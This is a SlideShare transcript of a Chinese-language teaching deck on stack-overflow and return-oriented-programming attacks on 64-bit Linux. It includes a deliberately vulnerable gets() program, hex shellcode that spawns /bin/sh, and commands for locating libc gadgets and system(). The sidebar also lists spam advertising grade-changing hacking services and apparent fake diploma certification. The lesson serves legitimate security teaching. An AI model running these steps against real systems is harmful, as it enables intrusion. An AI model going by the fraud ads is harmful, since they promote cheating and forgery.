SlideShare a Scribd company logo
64-bit Linux Return-
Oriented Programming
AJ
2014.4.10
Register Use in the Stack Frame for Intel
x86
• ESP - Stack Pointer
• 存放 stack最top的位置
• EBP - Base Pointer
• 在目前stack frame中,可透過EBP的加減來得到函數的參數和區域變數
• EIP - Instruction Pointer
• 當執行call 和 jump時, EIP值會改變. 而其意義為紀錄跳躍時下一個指令的
位置
• 在x86_64中,這些register為16 bytes
Calling a __cdecl Function
• push parameters of the function由右至左進堆疊
• 在call the function時,把EIP push至堆疊中
• 在跳入function中, save 和 update the ebp
• push ebp
• mov ebp,esp // ebp <= esp
• push local variable of the function
• 如果此function有使用到某register必須先把此register push進stack
• 開始執行function
• Restore saved registers
• Release local storage
• Restore the old base pointer
• Return from the function
• Clean up pushed parameters
Perform the Function
有漏洞的程式碼
#include <stdio.h>
int main() {
char name[64];
printf("%pn", name); // Print address of buffer
puts("What's your name?");
gets(name);
printf("Hello, %s!n", name);
return 0;
}
介紹兩種攻擊手法
• Stack overflow
• Return-oriented programming (ROP)
執行到紅色箭頭時,stack的配置
#include <stdio.h>
int main() {
char name[64];
printf("%pn", name); // Print address of buffer
puts("What's your name?");
gets(name);
printf("Hello, %s!n", name);
return 0;
}
EBP
EIP
char name[64]
低位址
高位址
有趣的Stack Overflow Attack
EBP
EIP
char name[64]
低位址
高位址
Shell code
填0
填 name位置
如何製作Shellcode
• 準備好想要執行的code
• 用gcc 編譯產出執行檔
• 用objdump 和sed 看想要執行的code, 用xxd擷取想要執行的code
想要執行的code system(“/bin/sh”)
label用處方便擷取(常用技巧)
字串指標放入stack(local variable)
執行到這得rdi會等於
指向”/bin/sh”的指標
label用處方便擷取
用objdump 和sed 擷取想要執行的code
• objdump -d a.out | sed -n '/needle0/,/needle1/p'
echo $((0x4dc-0x4bf))
= 29
用xxd擷取想要執行的code
• xxd -s0x4bf -l32 -p a.out shellcode
• cat shellcode
eb0e5f4831c0b03b4831f64831d20f05e8edffffff2f62696e2f736800ef
bead
此Stack Overflow Attack做法的問題
• stack必須是可執行的
• 所以ROP用來解決在stack不可執行的狀況下,也可以成功的攻擊.當
然ASLR和stack保護還是須disable
• 哭哭補充:
• 此攻擊法為code injection,換個角度想,如果code中他是不能被更改和複寫
的,就可以在此code找出gadget,然而更改存資料地方,然而影響到PC 跳到
gadget去執行, 也可稱code reuse attack.
• 還有關於這類的攻擊 ,還有 JOP/IOP(stackless)/BOP
• 對於IOP有github: stjj89
The ROP Concept
1. SP指向位置序列的開始的地方(stack存放位置序列),
並搭配RET.
2. 執行RET,使得 jump到SP所指的位置並SP減8
(RET的行為)
3. 開始執行某些指令之後, 遇到RET . repeat (2)(3)
•而step 3 在遇到RET之前的code與RET
稱為 gadget
…
EIP
char name[64] address
address
EBP
retpc->
準備好細節知識
• The gadget
• system(“/bin/sh”)
• 進入到shell中
• 執行systemcall 且 rdi = 指向”/bin/sh”字串的指標
Assemble code Machine code
pop %rdi 0x5f
ret 0xc3
有趣的ROP
EBP
EIP
char name[64]
低位址
高位址
/bin/sh
填0
gadget的位置
name的位置
system的位置
gadget:
pop %rdi
ret
ESP
有趣的ROP
EBP
EIP
char name[64]
低位址
高位址
/bin/sh
填0
gadget的位置
name的位置
system的位置
gadget:
pop %rdi
ret
ESP
PC
有趣的ROP
EBP
EIP
char name[64]
低位址
高位址
/bin/sh
填0
gadget的位置
name的位置
system的位置
gadget:
pop %rdi
ret
ESP
PC
有趣的ROP
進入shell
可預期活用
可在libc.so 找出很多gadgets,並且esp必須指到
一序列的gadget addresses,此gadget addresses可
存在buffer裡或者data section裡.
在libc.so 找上述gadget
• 為什麼在libc.so找?
• On Linux, our C main() function is executed by the cooperative
work of GCC, libc and Linux's binary loader
• http://linuxgazette.net/84/hawk.html
•如何找?
• gadget=0x$(xxd -c1 -p /lib/x86_64-linux-gnu/libc.so.6 | grep -
n -B1 c3 | grep 5f -m1 | awk '{printf"%xn",$1-1}')
• 哭哭補充:
• 有研究上,透過新增compiler功能,其功能找出所以程式碼的
gadgets
libc’s system() function的位置
• 如何找?
• system=0x$(nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep
'<system>' | cut -f1 -d' ')
Linux Command
• nm - list symbols from object files
• cut - remove or "cut out" sections of each line of a file or
files
• xxd - make a hexdump or do the reverse
• sed - stream editor for filtering and transforming text
• objdump - display information from object files
Reference
• http://crypto.stanford.edu/~blynn/rop/
• http://en.wikipedia.org/wiki/X86_calling_conventions
• http://www.unixwiz.net/techtips/win32-callconv-asm.html

More Related Content

PDF
Sigreturn Oriented Programming
PDF
Binary exploitation - AIS3
PDF
Linux binary Exploitation - Basic knowledge
PDF
[Crypto Course] Block Cipher Mode
PDF
HITCON CTF 2014 BambooFox 解題心得分享
PPTX
Some tips
PPTX
Avm2虚拟机浅析与as3性能优化(陈士凯)
PDF
COSCUP 2014 : open source compiler 戰國時代的軍備競賽
Sigreturn Oriented Programming
Binary exploitation - AIS3
Linux binary Exploitation - Basic knowledge
[Crypto Course] Block Cipher Mode
HITCON CTF 2014 BambooFox 解題心得分享
Some tips
Avm2虚拟机浅析与as3性能优化(陈士凯)
COSCUP 2014 : open source compiler 戰國時代的軍備競賽

What's hot (19)

PPTX
为啥别读HotSpot VM的源码(2012-03-03)
PPTX
Java Crash分析(2012-05-10)
PDF
[嵌入式系統] MCS-51 實驗 - 使用 IAR (1)
PDF
Arduino 底層原始碼解析心得
PDF
Android C Library: Bionic 成長計畫
PPTX
UseNUMA做了什么?(2012-03-14)
PDF
COSCUP 2016 - LLVM 由淺入淺
PDF
110824 knoss-windows系统机制浅析
PDF
Advanced heap exploitaion
PDF
[嵌入式系統] 嵌入式系統進階
PDF
Arduino應用系統設計 - Arduino程式快速入門
PDF
Introduction of Reverse Engineering
PPTX
Nashorn on JDK 8 (ADC2013)
PPT
Monitor is all for ops
PPT
Device Driver - Chapter 3字元驅動程式
PDF
[ZigBee 嵌入式系統] ZigBee Architecture 與 TI Z-Stack Firmware
PDF
nodeMCU IOT教學02 - Lua語言
PDF
Erlang Practice
ODP
從技術面簡介線上遊戲外掛
为啥别读HotSpot VM的源码(2012-03-03)
Java Crash分析(2012-05-10)
[嵌入式系統] MCS-51 實驗 - 使用 IAR (1)
Arduino 底層原始碼解析心得
Android C Library: Bionic 成長計畫
UseNUMA做了什么?(2012-03-14)
COSCUP 2016 - LLVM 由淺入淺
110824 knoss-windows系统机制浅析
Advanced heap exploitaion
[嵌入式系統] 嵌入式系統進階
Arduino應用系統設計 - Arduino程式快速入門
Introduction of Reverse Engineering
Nashorn on JDK 8 (ADC2013)
Monitor is all for ops
Device Driver - Chapter 3字元驅動程式
[ZigBee 嵌入式系統] ZigBee Architecture 與 TI Z-Stack Firmware
nodeMCU IOT教學02 - Lua語言
Erlang Practice
從技術面簡介線上遊戲外掛
Ad

Viewers also liked (12)

PPTX
[SITCON2015] 自己的異質多核心平台自己幹
PPTX
[MOSUT] Format String Attacks
PPTX
閱讀文章分享@若渴 2016.1.24
PPTX
[若渴計畫]由GPU硬體概念到coding CUDA
PPTX
[若渴計畫2015.8.18] SMACK
PDF
[若渴計畫] Studying Concurrency
PDF
Task based Programming with OmpSs and its Application
PPTX
CILK/CILK++ and Reducers
PPTX
[MOSUT20150131] Linux Runs on SoCKit Board with the GPGPU
PDF
Stack Frame Protection
PDF
The Stack Frame
PPTX
How Functions Work
[SITCON2015] 自己的異質多核心平台自己幹
[MOSUT] Format String Attacks
閱讀文章分享@若渴 2016.1.24
[若渴計畫]由GPU硬體概念到coding CUDA
[若渴計畫2015.8.18] SMACK
[若渴計畫] Studying Concurrency
Task based Programming with OmpSs and its Application
CILK/CILK++ and Reducers
[MOSUT20150131] Linux Runs on SoCKit Board with the GPGPU
Stack Frame Protection
The Stack Frame
How Functions Work
Ad

More from Aj MaChInE (12)

PDF
An Intro on Data-oriented Attacks
PDF
A Study on .NET Framework for Red Team - Part I
PDF
A study on NetSpectre
PDF
Introduction to Adversary Evaluation Tools
PDF
[若渴] A preliminary study on attacks against consensus in bitcoin
PDF
[RAT資安小聚] Study on Automatically Evading Malware Detection
PDF
[若渴] Preliminary Study on Design and Exploitation of Trustzone
PDF
[若渴]Study on Side Channel Attacks and Countermeasures
PDF
[若渴計畫] Challenges and Solutions of Window Remote Shellcode
PDF
[若渴計畫] Introduction: Formal Verification for Code
PPTX
[若渴計畫] Studying ASLR^cache
PPTX
[若渴計畫] Black Hat 2017之過去閱讀相關整理
An Intro on Data-oriented Attacks
A Study on .NET Framework for Red Team - Part I
A study on NetSpectre
Introduction to Adversary Evaluation Tools
[若渴] A preliminary study on attacks against consensus in bitcoin
[RAT資安小聚] Study on Automatically Evading Malware Detection
[若渴] Preliminary Study on Design and Exploitation of Trustzone
[若渴]Study on Side Channel Attacks and Countermeasures
[若渴計畫] Challenges and Solutions of Window Remote Shellcode
[若渴計畫] Introduction: Formal Verification for Code
[若渴計畫] Studying ASLR^cache
[若渴計畫] Black Hat 2017之過去閱讀相關整理

Recently uploaded (20)

PDF
01_Course_Introduction(20210916課後更新).pdf
PPTX
3分钟读懂纽曼大学毕业证Newman毕业证学历认证
PPTX
3分钟读懂渥太华大学毕业证UO毕业证学历认证
PPTX
3分钟读懂曼彻斯特城市大学毕业证MMU毕业证学历认证
PPTX
3分钟读懂肯塔基大学毕业证UK毕业证学历认证
PPTX
《HSK标准教程4下》第15课课件new.pptx HSK chapter 15 pptx
PDF
想要安全提高成绩?我们的黑客技术采用深度伪装和多层加密手段,确保你的信息安全无忧。价格公道,流程简单,同时提供全面的信息保护和事后痕迹清理,让你轻松提升G...
PPTX
3分钟读懂加州大学欧文分校毕业证UCI毕业证学历认证
PPTX
3分钟读懂曼彻斯特大学毕业证UoM毕业证学历认证
PPTX
3分钟读懂利物浦约翰摩尔大学毕业证LJMU毕业证学历认证
PPTX
3分钟读懂佩珀代因大学毕业证Pepperdine毕业证学历认证
PPTX
3分钟读懂贵湖大学毕业证U of G毕业证学历认证
PPTX
A Digital Transformation Methodology.pptx
PPTX
3分钟读懂索尔福德大学毕业证Salford毕业证学历认证
PPTX
3分钟读懂伦敦南岸大学毕业证LSBU毕业证学历认证
PPTX
模板模板模板模板模板模板模板模板模板模板模板模板模板模板模板模板模板模板模板模板模板模板模板模板模板模板模板模板模板模板模板
PPTX
3分钟读懂皇家艺术学院毕业证RCA毕业证学历认证
PPTX
3分钟读懂圣安德鲁斯大学毕业证StAnd毕业证学历认证
PPTX
3分钟读懂贝尔法斯特女王大学毕业证QUB毕业证学历认证
PPTX
3分钟读懂滑铁卢大学毕业证Waterloo毕业证学历认证
01_Course_Introduction(20210916課後更新).pdf
3分钟读懂纽曼大学毕业证Newman毕业证学历认证
3分钟读懂渥太华大学毕业证UO毕业证学历认证
3分钟读懂曼彻斯特城市大学毕业证MMU毕业证学历认证
3分钟读懂肯塔基大学毕业证UK毕业证学历认证
《HSK标准教程4下》第15课课件new.pptx HSK chapter 15 pptx
想要安全提高成绩?我们的黑客技术采用深度伪装和多层加密手段,确保你的信息安全无忧。价格公道,流程简单,同时提供全面的信息保护和事后痕迹清理,让你轻松提升G...
3分钟读懂加州大学欧文分校毕业证UCI毕业证学历认证
3分钟读懂曼彻斯特大学毕业证UoM毕业证学历认证
3分钟读懂利物浦约翰摩尔大学毕业证LJMU毕业证学历认证
3分钟读懂佩珀代因大学毕业证Pepperdine毕业证学历认证
3分钟读懂贵湖大学毕业证U of G毕业证学历认证
A Digital Transformation Methodology.pptx
3分钟读懂索尔福德大学毕业证Salford毕业证学历认证
3分钟读懂伦敦南岸大学毕业证LSBU毕业证学历认证
模板模板模板模板模板模板模板模板模板模板模板模板模板模板模板模板模板模板模板模板模板模板模板模板模板模板模板模板模板模板模板
3分钟读懂皇家艺术学院毕业证RCA毕业证学历认证
3分钟读懂圣安德鲁斯大学毕业证StAnd毕业证学历认证
3分钟读懂贝尔法斯特女王大学毕业证QUB毕业证学历认证
3分钟读懂滑铁卢大学毕业证Waterloo毕业证学历认证

[若渴計畫]64-bit Linux Return-Oriented Programming